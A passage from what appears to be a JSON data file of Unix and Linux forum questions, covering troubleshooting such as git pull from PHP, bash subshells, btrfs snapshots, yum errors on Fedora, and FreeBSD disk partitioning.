( $output as $o) { echo $o.\"\\n\"; } ?> Note that `/var/www/public_html/` is in fact a git repository. I often perform `git pull` in that directory from the CLI. However, when I call this script in a web browser I see that the files were not updated via `git pull` and the following is output to the browser: Return Value: 1 This is on Ubuntu Server 12.04 with Git 1.7.9.5. The remote repository is on the same server."} {"_id": "57768", "title": "how to move files from one folder to other with appending time stamp to the name?", "text": "> **Possible Duplicate:** > Renaming a bunch of files with date modified timestamp at the end of the > filename? I want to move files from one folder to another folder with appending time stamp to file names. For example, I have two files called `file1` and `file2` in folder `f1`. I want to move these files to folder `f2` as file names `file1_22_jan_11:42` and `file2_22_jan_11:42`."} {"_id": "119560", "title": "unetbootin: cannot mount squashfs on loop device", "text": "Im having a bit of fun with unetbootin with linux mint 16 setup in it. However when I try run the default menu item I get an error that ends with this: can not mount /dev/loop0 (/cdrom/casper/filesystem.squashfs) on //filesystem.squashfs) any ideas?"} {"_id": "13676", "title": "How can you combine all lines that end with a backslash character?", "text": "Using a common command line tool like sed or awk, is it possible to join all lines that end with a given character, like a backslash? For example, given the file: foo bar \\ bash \\ baz dude \\ happy I would like to get this output: foo bar bash baz dude happy"} {"_id": "89238", "title": "Top \"id\" is using 50-99% of CPU", "text": "My i386 Lubuntu install is running with a constantly 100% CPU. Using `top` I have diagnosed \"%id\" as using up a lot of CPU, usually between about 50% and 99%. Why is this happening, and how can I stop it?"} {"_id": "43330", "title": "Trouble getting iwlwifi driver working", "text": "I just installed Debian and I am having issues getting my wireless working. I installed Squeeze and also the nonfree firmware for `iwlwifi`. I thought I did everything right but I am still not getting online. My wireless hardware won't even turn on. So this is what I did: Put the `.deb` files in a flash drive, booted the system and from there I typed `dpkg -i .deb` I restared my network first and then rebooted the PC after which I was still not getting a connection. I typed `aptitude show firmware iwlwifi` and it showed all the files that were in `/lib/firmware` which where all correct. `modeprobe iwlwifi` gives me a FATAL error saying the module isn't there and `ifconfig/iwconfig` only shows some eth0 and another interface that isn't wlan0 What could I be doing wrong? Was I supposed to download the \"backport\" firmware files instead? Output of `lspci -nn` and `dmesg|grep iwl`: http://paste.debian.net/179554"} {"_id": "43331", "title": "What are some quick ways of making N copies of a particular file?", "text": "Say, if I wanted to make N copies of a.txt, and wanted them to be numbered a1.txt, a2.txt, a3.txt, etc... How would I do such a thing succinctly?"} {"_id": "16003", "title": "how to send email as well as display it out", "text": "i am trying to run a script with the output to be emailed and watched(monitored), i try using this code: this are the output: >emailmessage echo \"output here\" >>emailmessage /bin/mail -s \"$SUBJECT\" \"$EMAIL\" < $emailmessage and an email will be sent with the results but wont be displayed on my terminal, for now i use `echo \"email sent!\"` so i can be notified that the script was done running. How can i send it out and display it as well?"} {"_id": "96439", "title": "EACCES that should not happen", "text": "I have a situation on a Linux machine that I can't really explain. Some background: We're running apache with a c/c++ module that forwards requests to our application. It does so by reading a .port file which specifies a local port to send the requests to. After installation, it is not possible to connect using the web interface. After a bit of troubleshooting I bring out strace and see that the apache processes fail to read the .port file: [pid 8105] stat(\"/tmp/somedir/application.port\", 0x7ffff9694470) = -1 EACCES (Permission denied) I check the permissions on the file: % ls -l /tmp/somedir/application.port -rw-r--r--. 1 appuser staff 5 Oct 16 14:10 application.port So, anyone should be able to read that, right? I check who the apache process runs as: % ps -ef | grep 8105 appuser 8105 3357 0 15:14 ? 00:00:00 /usr/sbin/httpd So the apache process runs as the owner of the file. That should work too, right? Finally, I do: % su - appuser % stat /tmp/somedir/application.port File: `/tmp/somedir/application.port' Size: 5 Blocks: 8 IO Block: 4096 regular file Device: 11h/17d Inode: 1400293 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1001/ appuser) Gid: ( 1001/ staff) Access: 2013-10-16 14:10:03.357679902 +0200 Modify: 2013-10-16 14:10:03.357679902 +0200 Change: 2013-10-16 14:10:03.357679902 +0200 So, the \"appuser\" owns the file, runs the web server, but don't have the permission to do stat() on it from within the web server process? Does anyone have an idea about what could be going on here? I should also mention that this is not the first installation we've done, and the others work as expected. There might have been some manual fiddling during the installation of this particular machine, but I still don't see how we can end up like this. Restarting processes also does nothing to change the behavior. The machine is a RHEL 6 box."} {"_id": "5869", "title": "Iterate over the output of a command in bash without a subshell", "text": "I want to loop over the output of a command without creating a sub-shell or using a temporary file. The initial version of of my script looked like this, but this doesn't work since it creates a subshell, and the `exit` command terminates the subshell instead of the main script which is required. It is part of a much larger script to configure policy routing, and it is halt the execution if it detects a condition that will cause routing to fail. sysctl -a 2>/dev/null | grep '\\.rp_filter' | while read -r -a RPSTAT ; do if [[ \"0\" != \"${RPSTAT[2]}\" ]] ; then echo >&2 \"RP Filter must be disabled on all interfaces!\" echo >&2 \"The RP filter feature is incompatible with policy routing\" exit 1 fi done So one of the suggested alternatives is to use a command like this to avoid the subshell. while read BLAH ; do echo $BLAH; done /dev/null | grep '\\.rp_filter') Unfortunately, using that command results in this error. -bash: syntax error near unexpected token `<(sysct ... I get really confused since this does work. cat <(sysctl -a 2>/dev/null | grep '\\.rp_filter') I could save the output of that command to a temporary file, and use redirect the on the temporary file, but I wanted to avoid doing that. So why is the redirection giving me an error, and do I have any options other then creating a temporary file?"} {"_id": "16007", "title": "Permanently remapping a key on Linux", "text": "I'm using an aluminum Apple keyboard with my Mandriva 2010.2 Linux system. I remap the Apple Command key (`\u2318`) to `control` using the following `.Xmodmap` file: keycode 134 = Control_R remove mod4 = Multi_key add Control = Control_L Control_R Multi_key If I allow **xscreensaver** to activate and run for some time, it appears to undo this remapping. I subsequently have to run `xmodmap ~/.Xmodmap` again manually. Is there any way to avoid this? I'm using **XFCE** as my desktop environment."} {"_id": "96433", "title": "Setting hostname variable right after SSH login", "text": "I have set of some (third-party) shell scripts, which are supposed to connect to remote host and start some daemons (hadoop, if that matters). These scripts rely heavily on hostname in order to configure pid folders, data directories etc. What I need to do now is to create some test/development environment on single machine, using Arch, which means: * configure /etc/hosts to provide some aliases to 127.0.0.1, like data1, data2, data3 (that's the trivial part) * configure passwordless SSH access to localhost (which is also trivial) * somehow set the hostname for current SSH session, like if I connect using 'ssh data1' - then hostname should be \"data1\" - and this is what I can't figure out. so I need to solve 2 problems: * how do I pass some environment variable or something like that to remote host, so it will be visible to all scripts there * how do I set hostname on remote host for that session only and all this happens on the same computer."} {"_id": "96432", "title": "find files not matching list of filename patterns", "text": "I find myself needing to find and identify extraneous files (out of about 900K files on a 2T drive). There are lots of files that I want to keep, and I have filename patterns for these known good files. What I want is to locate those files that don't fit any of the patterns. _How do I find files not matching a list of filename patterns?_ I can run `find` to get a list of all files, and I could use `grep -v` on the result, using a list of patterns stored in a file. Is this the canonical method, or do you have a concise way to find these non-conforming files? * * * _Clarification - based upon the answers, here is a little more information. I expect to have numerous patterns (>20, maybe >100), I want to store them in a file and certainly want an easy way to add new ones. I would prefer to avoid directly editing a large list of find parameters (fragile), but building that list might work._"} {"_id": "16008", "title": "grub-update in GRUB Legacy (0.97)", "text": "I have reinstalled grub, because I have done an install of Windows 7. The problem is that grub doesn't see Windows. I know, that in grub2 I can run grub-update and it will find all my systems. But I don't know how to do this grub legacy. I'm using Fedora 15."} {"_id": "16009", "title": "HP Laptop refused to boot Arch or Fedora CDs but boots Debian based fine", "text": "My Laptop a HP Probook 4510s refuses to boot Fedora or Arch Linux CD'S, But will boot and install Debian based stuff ie Debian, Ubuntu. If it put a fedora or arch CD in it will just stick on BIOS screen and never do anything the CAPS lock key flashes and the HDD light constantly flashes at a rapid rate, no keystrokes work and I have to reboot with the CD/USB out to work normally again. Ive tried changing a bunch of BIOS setting including SATA/IDE resetting to defaults, I tried putting arch on a memory stick and still nothing, but if I stick the same Arch, fedora cd/usb in my girlfriends laptop they work fine, Any ideas?"} {"_id": "5860", "title": "How do I recursively check permissions in reverse?", "text": "There's a command, I think it comes with apache, or is somehow related to it, that checks permissions, all the way down. So if I have `/home/foo/bar/baz` it will tell me what the permissions are for `baz`, `bar`, `foo`, and `home`. Does anyone know what this command is or another way of doing this? The command basically starts at the argument, and works it's way up to `/` letting you know what the permissions are along the way so you can see if you have a permission problem."} {"_id": "5863", "title": "Open a file given by the result of a command in vim", "text": "I find myself doing the following almost every day 1. Run a find (`find -name somefile.txt`) 2. Open the result in `vim` The problem is I have to copy and paste the result of the `find` into the `vim` command. Is there any way to avoid having to do this? I have experimented a bit (`find -name somefile.txt | vim`) but haven't found anything that works. Thanks in advance"} {"_id": "56842", "title": "systemd failure on binfmt services", "text": "Systemd has several failed services, and I don't know how to work it out: # systemctl --failed UNIT LOAD ACTIVE SUB JOB DESCRIPTION proc-sys-fs-binfmt_misc.automount loaded failed failed Arbitrary Executable File Formats File System Automount Point systemd-binfmt.service loaded failed failed Set Up Additional Binary Formats More details: # systemctl status systemd-binfmt.service systemd-binfmt.service - Set Up Additional Binary Formats Loaded: loaded (/usr/lib/systemd/system/systemd-binfmt.service; static) Active: failed (Result: exit-code) since Tue, 2012-11-27 07:42:11 CST; 36min ago Docs: man:systemd-binfmt.service(8) man:binfmt.d(5) https://www.kernel.org/doc/Documentation/binfmt_misc.txt Process: 213 ExecStart=/usr/lib/systemd/systemd-binfmt (code=exited, status=1/FAILURE) CGroup: name=systemd:/system/systemd-binfmt.service # systemctl status proc-sys-fs-binfmt_misc.automount proc-sys-fs-binfmt_misc.automount - Arbitrary Executable File Formats File System Automount Point Loaded: loaded (/usr/lib/systemd/system/proc-sys-fs-binfmt_misc.automount; static) Active: failed (Result: resources) Where: /proc/sys/fs/binfmt_misc Docs: https://www.kernel.org/doc/Documentation/binfmt_misc.txt Any suggestions?"} {"_id": "94363", "title": "Tell Conky to update from a separate process", "text": "I have Conky display my current volume with `${exec bash /path/to/script/getvolume.sh}`. However I have noticed that after changing the volume, I have to wait a while for Conky to update. Is it possible for me to write another script `changevolume.sh`, so that `./changevolume.sh 12` would not only change the volume but also make Conky update itself immediately afterwards so that I don't have to wait for the usual update interval period?"} {"_id": "56841", "title": "Deleting specific lines and duplicates from a 11gb wordlist text file", "text": "I have an 11gb wordlist file which is already sorted as each word is on its own line. I need to remove duplicates and lines starting from 077. I guess I need to run `sed` and `sort -u` together but I also want a live output (display whats happening in terminal) and if possible display the time left. All of this in one command and it must be able to run optimally at full performance under a LiveCD or possibly installed BackTrack 5 rc3. Time is not very important but if there is a way for me to calculate the ETA, I might be able to borrow my dad's i7 based CPU which should process it faster obviously otherwise I'll have to use an older core 2 CPU. The problem I'm facing with `sort` command is that under a VMWare player running it live, it doesnt have enough space so I have to specify temp files on my 32gb USB by using the `-T` command. I guess this won't be a problem had I installed Linux. So please give me the complete command, be it `sed`/`sort`/`awk` to do this (whichever is most optimal)."} {"_id": "17359", "title": "Want a seperate file to store mysql username, password, and database name", "text": "I have as script that dumps a mysql database, and compresses the file. What I want to do is have another (edit) file which can change the username, password and database name. Then somehow connecting that file to this script. In another file I want something that says for example. username = \"username\" password = \"password\" database = c2duo_db Then in a script name **mysqlbackup.sh** some import the username password and database from the file. #!/bin/sh mysqldump -u\"username\" -p\"password\" --opt c2duo_db > /home/sh/c2duo_db-`date +%d%m%Y`.sql cd /home/sh tar -zcvf c2duo_db-`date +%d%m%Y`.tar.gz *.sql"} {"_id": "94364", "title": "Any better method than this for sorting files by their creation date?", "text": "I needed to display a list of directories sorted by their creation date and I came up with this code snippet that I thought was kind of clever. Is there a more obvious way to do this that I'm missing? printf \"%-20s\\t\\t\\t%-s\\n\" \"DATE\" \"CASE\" printf \"%-20s\\t\\t\\t%-s\\n\" \"----\" \"----\" find $idir -mindepth 3 -maxdepth 3 -type d -printf \"%T@ %Tc\\t\\t%p\\n\" \\ | sed \"s#${idir}/##\" \\ | sort -h \\ | sed \"s#^[^ ]* ##\" ### Sample output DATE CASE ---- ---- Fri 06 Sep 2013 11:17:41 AM EDT dir1/Baseline/2013_09_06_11_16_10 Fri 06 Sep 2013 01:44:38 PM EDT dir2/Baseline/2013_09_06_13_42_48 Sun 08 Sep 2013 05:02:46 PM EDT dir3/6 Month/2013_09_08_17_02_05 Fri 13 Sep 2013 02:28:30 PM EDT dir4/Baseline/2013_09_13_14_25_09 ### Details The above will look exactly 3 directories deep from the directory `$idir`. It then prints the creation time of any directories that are found at this depth. I then strip the `$idir` portion of the path off of the output (don't need it), sort it, and then chop off the `%T@` portion of the output. This was only so that I could more easily sort the output. Without the trailing `sed` the output looks like this: DATE CASE ---- ---- 1378480661.2612650000 Fri 06 Sep 2013 11:17:41 AM EDT dir1/Baseline/2013_09_06_11_16_10 1378489478.3223970000 Fri 06 Sep 2013 01:44:38 PM EDT dir2/Baseline/2013_09_06_13_42_48 1378674166.7427782000 Sun 08 Sep 2013 05:02:46 PM EDT dir3/6 Month/2013_09_08_17_02_05 1379096910.4431689000 Fri 13 Sep 2013 02:28:30 PM EDT dir4/Baseline/2013_09_13_14_25_09 Showing me a cleaner method!"} {"_id": "116355", "title": "Directory mounted under regular user is inaccessible from said user", "text": "I have Red Hat Enterprise Linux 6.5 and I just mounted an SSHFS directory. When I try to browse the mount as my regular user I can't browse it, but as root I can. Believing it was a problem with the UID under which the directory is mounted I listed the mount directory's permissions... and this is what I get. [root@oc2222167007 sshfs]# ll drwxr-xr-x. 1 nekomikoreimu daemon 4096 Jan 14 10:52 cogfvt1 [root@oc2222167007 sshfs]# exit [nekomikoreimu@oc2222167007 sshfs]$ ll ls: cannot access cogfvt1: Permission denied d?????????? ? ? ? ? ? cogfvt1 Why can't I read the directory as user `nekomikoreimu` when listing it as root clearly says this user is the owner?"} {"_id": "52344", "title": "Shell script to become root", "text": "How can we write a shell script to become root? That is I donot want to input the password at prompt it should be within the script itself. I was trying to make but failed to do so.Is it possible, if Yes please Explain."} {"_id": "116358", "title": "Need to set a variable with \"[]\"", "text": "I have a tcsh script, in which I need to set a variable to this value defining my system type. type=abc project=def sysname=[\"Linux\"] I tried various combinations to escape the `[` and `\"` but have not been successful . I either get **Unmatched \"** or, I am not able to echo the variable. I tried the below code. set systype = \"type=abc project=def sysname=\\[\\\"Linux\\\"\\]\""} {"_id": "17351", "title": "Can KWallet manage my ssh passwords?", "text": "I need a way to store some SSH passwords. Note that these are **login passwords** which I need to pass to ssh; key authentication is unfortunately not an option. I'd like to be able to have KWallet fill them in for me somehow, because I think Gnome-keyring can do this. Does anyone know if KDE has this functionality in KWallet? And if so, how I can set it up to make use of it?"} {"_id": "52340", "title": "apache virtualhost using mono-apache-server2 not mono-apache-server4", "text": "I know I'm running mono-apache-server4 but when I launch the site mono-apache- server2 is responding. **Why is my site not using 4.0?** # See htop: ![enter image description here](http://i.stack.imgur.com/dKcL8.png) # This is what I did: Installed Debian Wheezy along with apache and mod-mono: apt-get install mono-apache-server2 mono-apache-server4 libapache2-mod-mono libmono-i18n2.0-cil Then I edited the default virtual host file: `sudo nano /etc/apache2/sites- available/default` ServerName mydomain.org ServerAdmin myname@mydomain.com ServerAlias www.mydomain.org DocumentRoot /var/www/mydomain.org/ ErrorLog /var/www/logs/mydomain.org.error.log CustomLog /var/www/logs/mydomain.org.access.log combined MonoServerPath example.com \"/usr/bin/mod-mono-server4\" MonoDebug mydomain.org true MonoSetEnv mydomain.org MONO_IOMAP=all MonoApplications mydomain.org \"/:/var/www/mydomain.org/\" Allow from all Order allow,deny MonoSetServerAlias mydomain.org SetHandler mono SetOutputFilter DEFLATE SetEnvIfNoCase Request_URI \"\\.(?:gif|jpe?g|png)$\" no-gzip dont-vary AddOutputFilterByType DEFLATE text/html text/plain text/xml text/javascript And restarted apache2: ![enter image description here](http://i.stack.imgur.com/ICstk.png) # Update: I reinstalled using: apt-get install mono-apache-server4 libapache2-mod-mono libmono-i18n4.0-all But Jim's answer was the culprit."} {"_id": "52342", "title": "refresh bash tab completion", "text": "I have a script for auto-completing my ssh-hosts. If I change my `~/.ssh/config` the auto-completion is not updated automatically, though. This does not surprise me. In a new shell, the new entry is picked up and usable, of course. How do I manually trigger a refresh of the completion in bash?"} {"_id": "96747", "title": "How to delete btrfs subvolumes with in their name", "text": "I have a bunch of btrfs snapshots like so: 20:17:37 [root@galaxy /]$ btrfs subvolume list -a / |grep apt ID 271 gen 348 top level 5 path /@apt-snapshot-2013-04-17_21:44:30 ID 272 gen 352 top level 5 path /@apt-snapshot-2013-04-17_21:46:25 ID 273 gen 361 top level 5 path /@apt-snapshot-2013-04-17_21:51:13 ... # lots more I would like to get rid of them. So I tried 20:21:31 [root@galaxy ~]$ btrfs subvolume delete '//@apt-snapshot-2013-04-17_21:44:30' ERROR: error accessing '//@apt-snapshot-2013-04-17_21:44:30' 20:21:36 [root@galaxy ~]$ btrfs subvolume delete '/@apt-snapshot-2013-04-17_21:44:30' ERROR: error accessing '/@apt-snapshot-2013-04-17_21:44:30' 20:21:43 [root@galaxy ~]$ btrfs subvolume delete '/@apt-snapshot-2013-04-17_21:44:30' ERROR: error accessing '/@apt-snapshot-2013-04-17_21:44:30' 20:21:47 [root@galaxy ~]$ btrfs subvolume delete '@apt-snapshot-2013-04-17_21:44:30' ERROR: error accessing '@apt-snapshot-2013-04-17_21:44:30' What's the correct syntax to delete these snapshots?"} {"_id": "90874", "title": "No virtual memory (-v) item in output of ulimit -a", "text": "When I run command `ulimit -a`, I see no virtual memory item in the list of output of the command. It is unlimited for some user IDs though. Does that mean I am assigned no virtual memory?"} {"_id": "152857", "title": "Can I use seq to go from 001 to 999?", "text": "Can I use seq to go from 001 to 999?"} {"_id": "120085", "title": "Linux Fedora 20: how do I deal with \" import read failed(2)\"?", "text": "I have been struggling to get yum to work when trying to install emacs in my recent installation of Fedora 20, and posted the question, on this site. \"How can I get yum and the internet browser to work after fresh Fedora 20 installation\", which inspired several useful answers (many thanks to the kind posters), but none of them, unfortunately, solved it. I don't expect any more to come from that question, but I have tried an approach that might work, but it still fails with the error in this question. I came across the suggestion [root@localhost Harry]# setenforce 0 [root@localhost Harry]# yum clean expire-cache [root@localhost Harry]# yum update selinux-policy\\* [root@localhost Harry]# setenforce 1 And tried it out, not getting very far: [root@localhost Harry]# setenforce 0 [root@localhost Harry]# yum clean expire-cache Loaded plugins: langpacks, refresh-packagekit Cleaning repos: fedora updates 0 metadata files removed [root@localhost Harry]# yum update selinux-policy\\* Loaded plugins: langpacks, refresh-packagekit fedora/20/i386/metalink | 33 kB 00:00 http://ftp.up.pt/fedora/releases/20/Everything/i386/os/repodata/repomd.xml: [Errno 14] curl#6 - \"Could not resolve host: ftp.up.pt\" Trying other mirror. and so it went on for ages, the same error, `[Errno 14] curl#6 - \"Could not resolve host: www.mirrorservice.org\"` I get whenever I try to use yum. I followed the lead I had and tried this, which looked promising, but again it failed with an error that I cannot fathom out: [root@localhost Harry]# yum-config-manager --add-repo=http://download.fedoraproject.org/pub/fedora/linux/updates/testing/20/i386/ Loaded plugins: langpacks, refresh-packagekit adding repo from: http://download.fedoraproject.org/pub/fedora/linux/updates/testing/20/i386/ [download.fedoraproject.org_pub_fedora_linux_updates_testing_20_i386_] name=added from: http://download.fedoraproject.org/pub/fedora/linux/updates/testing/20/i386/ baseurl=http://download.fedoraproject.org/pub/fedora/linux/updates/testing/20/i386/ enabled=1 [root@localhost Harry]# yum install emacs Loaded plugins: langpacks, refresh-packagekit You have enabled checking of packages via GPG keys. This is a good thing. However, you do not have any GPG public keys installed. You need to download the keys for packages you wish to install and install them. You can do that by running the command: rpm --import public.gpg.key Alternatively you can specify the url to the key you would like to use for a repository in the 'gpgkey' option in a repository section and yum will install it for you. For more information contact your distribution or package provider. Problem repository: download.fedoraproject.org_pub_fedora_linux_updates_testing_20_i386_ But again a failure, I get it whenever I try `import`: [root@localhost Harry]# rpm --import public.gpg.key error: public.gpg.key: import read failed(2). ## So my question is: is this is a useful approach, and, if so, how do I get round the `import failed(2)` error? In answer to Leiaz's comment, thank you, this is what I get from ifconfig. It's a wired connection to a BT Homehub 3 router, May I add that I have no problem with the internet in Windows XP installed on the same dual boot machine, nor on the two laptops with a wireless connection to the same router. I also have no trouble with the Firefox browser in this Linux, which is the one with the yum trouble, and the one I am using to post this question: in fact it is faster than the one on my laptop. [root@localhost Harry]# ifconfig lo: flags=73 mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 0 (Local Loopback) RX packets 8 bytes 668 (668.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 8 bytes 668 (668.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 p20p1: flags=4163 mtu 1500 inet 192.168.1.100 netmask 255.255.255.0 broadcast 0.0.0.0 inet6 fe80::76d4:35ff:fe5c:f999 prefixlen 64 scopeid 0x20 ether 74:d4:35:5c:f9:99 txqueuelen 1000 (Ethernet) RX packets 62356 bytes 42267371 (40.3 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 56754 bytes 11151168 (10.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 Thanks vonbrand and again Leiaz. This is what I get: [root@localhost Harry]# cat /etc/resolv.conf # Generated by NetworkManager domain home search home nameserver 192.168.1.254 [root@localhost Harry]# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.1.254 0.0.0.0 UG 1024 0 0 p20p1 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 p20p1 [root@localhost Harry]# [root@localhost Harry]# ping 192.168.1.254 PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data. 64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=0.701 ms 64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=0.678 ms 64 bytes ... ... time=0.683 ms 64 bytes from 192.168.1.254: icmp_seq=10 ttl=64 time=0.668 ms 64 bytes from 192.168.1.254: icmp_seq=11 ttl=64 time=0.665 ms ^Z [1]+ Stopped ping 192.168.1.254 [root@localhost Harry * * * Having no idea how to deal with ipv6, and unable to find the answer on the Internet, I thought I would try a different Linux, so I have installed openSUSE, but it appears to have the same problem. As with Fedora, I am using Firefox from within Linux, to post this, and the 'net is fully working in the other windows partition. Please, _please_ can someone help me to solve this, I am completely stumped. Without `emacs` and a C compiler, well Linux is no longer any use to me, after happily using it for more than ten years. Here is the relevant openSUSE result: harry@linux-18x3:~> gcc If 'gcc' is not a typo you can use command-not-found to lookup the package that contains it, like this: cnf gcc harry@linux-18x3:~> cnf gcc The program 'gcc' can be found in following packages: * gcc [ path: /usr/bin/gcc, repository: zypp (openSUSE-13.1-1.10) ] * gcc [ path: /usr/bin/gcc, repository: zypp (repo-oss) ] Try installing with: sudo zypper install gcc harry@linux-18x3:~> sudo zypper install gcc root's password: Download (curl) error for 'http://download.opensuse.org/distribution/13.1/repo/non-oss/content': Error code: Connection failed Error message: Could not resolve host: download.opensuse.org Abort, retry, ignore? [a/r/i/? shows all options] (a):"} {"_id": "60255", "title": "what is wild card to select all directories in a directory", "text": "i want to set sticky bit for all directories in a directory excluding files. is there any wild card to do this? #sudo chmod g+s /var/www/"} {"_id": "60253", "title": "linux driver installation error - \u201c/lib/modules/2.6.18-194.el5/build: No such file or directory. Stop.\u201d", "text": "I got an error /lib/modules/2.6.18-194.el5/build: No such file or directory. Stop. while installing `moxa` driver, following is the shell screen shot. [root@lnx149-252 driver]# pwd /root/moxa/mxu11x0/driver [root@lnx149-252 driver]# ls Makefile mxu1110_fw.h mxu1130_fw.h mxu1131_fw.h mxu1150_fw.h mxu1151_fw.h mxu11x0.c mxu11x0.h usb-serial.h [root@lnx149-252 driver]# make clean rm -f *.o rm -f .*.o.cmd rm -f *.symvers rm -rf ./.tmp_versions rm -f mxu11x0.mod* rm -f .mxu11x0* rm -f mxu11x0.ko [root@lnx149-252 driver]# make install ******************************************************************* # MOXA UPort 1110/1130/1150/1150I USB to Serial Hub Driver v1.2 # # for Linux Kernel 2.6.x # # # # release date : 03/23/2009 # ******************************************************************* make -C /lib/modules/2.6.18-194.el5/build SUBDIRS=/root/moxa/mxu11x0/driver modules make: *** /lib/modules/2.6.18-194.el5/build: No such file or directory. Stop. make: *** [module] Error 2 [root@lnx149-252 driver]# [root@lnx149-252 driver]# uname -a Linux lnx149-252 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linux [root@lnx149-252 driver]# uname -r 2.6.18-194.el5 [root@lnx149-252 driver]# Please help me for a resolution."} {"_id": "120080", "title": "What are SSH_TTY and SSH_CONNECTION?", "text": "What are the `SSH_TTY` and `SSH_CONNECTION` variables for? On my Ubuntu system both of them are blank; what values should they have?"} {"_id": "108366", "title": "What is the difference between a linux package and a linux module?", "text": "when I do `dpkg --get-selections` or `less /proc/modules` I see two different list. I don't understand the difference between the elements of each..."} {"_id": "108367", "title": "Processing FreeBSD's PF logs with tcpdump/sed/awk", "text": "I'm running FreeBSD and have PF firewall set up and this is command i use to display daily number of firewall hits (blocked traffic) sudo tcpdump -n -e -tttt -r /var/log/pflog | grep $(date +%Y-%m-%d)|wc -l|sed 's/ *//' >> /home/pentago/www/pf.txt That displays number, say 95. I want to process pf.txt file in a way that each line has the date before hit count. For example: * 01-01-2014 - 95 * 02-01-2014 - 98 * 03-01-2014 - 113 * 04-01-2014 - 92 etc.. Simply put, I need sed/awk to prepend the date to each new line of the file. Does that sound reasonable?"} {"_id": "19588", "title": "using pidof with sh -c", "text": "I was wondering why this command line does not print pidof sh $ sh -c \"var=`pidof sh` ; echo \\$var; ps -H\" This one prints 123 as expected $ sh -c \"var=123 ; echo \\$var; ps -H\" I am on ubuntu linux"} {"_id": "19586", "title": "Cannot get startX / Xorg to work on freeBSD 8.1", "text": "I am following this link for Xorg configuration on FreeBSD 8.1 After this step: Xorg -config xorg.conf.new -retro I can see the screen and mouse is also working but I cannot exit out of it any way. I tried `Ctrl`+`Alt`+`Fn`, but it's not working. **Edit:0** Xorg.0.log - http://pastebin.com/bCh53nPR **Edit:2** `xorg.conf.new` http://pastebin.com/WPDnBBQy"} {"_id": "121975", "title": "Have I installed and started zram successfully?", "text": "On my Kubuntu 13.10 laptop, have installed zram by sudo aptitude install zram-config and the output of swapon -s Filename Type Size Used Priority /dev/sda5 partition 6150140 0 -1 /dev/zram0 partition 373300 0 5 /dev/zram1 partition 373300 0 5 /dev/zram2 partition 373300 0 5 /dev/zram3 partition 373300 0 5 /dev/zram4 partition 373300 0 5 /dev/zram5 partition 373300 0 5 /dev/zram6 partition 373300 0 5 /dev/zram7 partition 373300 0 5 As you can see, /dev/sda5 comes before /dev/zram*, is this setup correct? How can I make sure that zram is working properly?"} {"_id": "121976", "title": "Tracking from httpd instance to PHP script when PHP is a module", "text": "I'm trying to figure out exactly what's going on that kicks CPU usage in random `httpd` workers so high but I'm having a little hard of a time figuring out what PHP page is being requested so that I can try to figure out why it's chewing up CPU. If PHP were done as regular (as opposed to Fast) CGI I could look at the process list, but we're using mod_php. Is there a way to get PHP 5.3 to report performance statistics for currently running scripts? This may also be relevant if we decide to eventually go the `php-fpm` route."} {"_id": "69034", "title": "redirecting std output and std error", "text": "I have been trying to figure out the relationship between file descriptors. One thing I don't understand is, how is: ls -l /bin/usr > ls-output.txt 2>&1 different from: ls -l /bin/usr 2>&1 >ls-output.txt"} {"_id": "52699", "title": "How soon do new releases get packaged into Debian Testing?", "text": "Mono 3.0 has been released yesterday. I am really excited by this release and am curious to know when this will be available in Debian testing (Wheezy). Is there a standard timeline set by Debian project for when the newest release of a software will be made available into Testing or in general any of the branches, except Stable?"} {"_id": "52698", "title": "Import sql files using xargs", "text": "I have a number of sql files to import. For a single file I use the following command: `mysql -u root -p dbname < db.sql` Is it possible to use xargs to bulk import all files? something like: `ls *.sql | xargs ....` I know that mysqlimport is the solution but I want to know if it's possible with xargs or not."} {"_id": "20869", "title": "Is ArchBang just Arch Linux + Openbox?", "text": "I'm a Arch + KDE guy. I need to reinstall frequently, and I don't like that when I do `pacman -S kde` I have to wait like two hours (slow Internet) without using the PC. So I'm looking for an Arch based distro, but just Arch + a WM or DE; nothing more like Chakra does. Is ArchBang just Arch Linux + Openbox ?"} {"_id": "64002", "title": "How do I make use of unused space on my boot drive on FreeBSD", "text": "I have an old FreeBSD Server (running 7.3-RELEASE) that desperately needs additional storage. In fact, it has some-- the original 20G SCSI drives have been replaced by 300G SCSI drives, so in theory there is 280G available that could be used. I'd like to make use of this space. I think the best way to do this is by formatting the unused space as a new slice on the existing drive, but I'm not clear how to do this without destroying the data on the existing slice. Most of the documentation I can find about doing this refers to initial installation. I know how to set up slices and partitions during initial installation, but not how to claim unused space on the drive AFTER initial installation. (I'd also be happy to expand the slice and add additional partitions to the existing slice, but I've heard that this is riskier). I thought the easy way to do this might be to use /stand/sysinstall, but when I go into either Configure->FDisk or Configure->Label, I get this message: No disks found! Please verify that your disk controller is being properly probed at boot time. See the Hardware Guide on the Documentation menu for clues on diagnosing this type of problem. This is obviously untrue, since I'm actually running off of a disk when I get this message, but maybe sysinstall just doesn't like messing with the boot disk? Output of fdisk da0: ******* Working on device /dev/da0 ******* parameters extracted from in-core disklabel are: cylinders=2235 heads=255 sectors/track=63 (16065 blks/cyl) Figures below won't work with BIOS for partitions not in cyl 1 parameters to be used for BIOS calculations are: cylinders=2235 heads=255 sectors/track=63 (16065 blks/cyl) Media sector size is 512 Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 1 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 63, size 35905212 (17531 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 1; end: cyl 1023/ head 254/ sector 63 The data for partition 2 is: The data for partition 3 is: The data for partition 4 is: Output of bsdlabel da0s1 # /dev/da0s1: 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 2097152 0 4.2BSD 2048 16384 89 b: 2097152 2097152 swap c: 35905212 0 unused 0 0 # \"raw\" part, don't edit 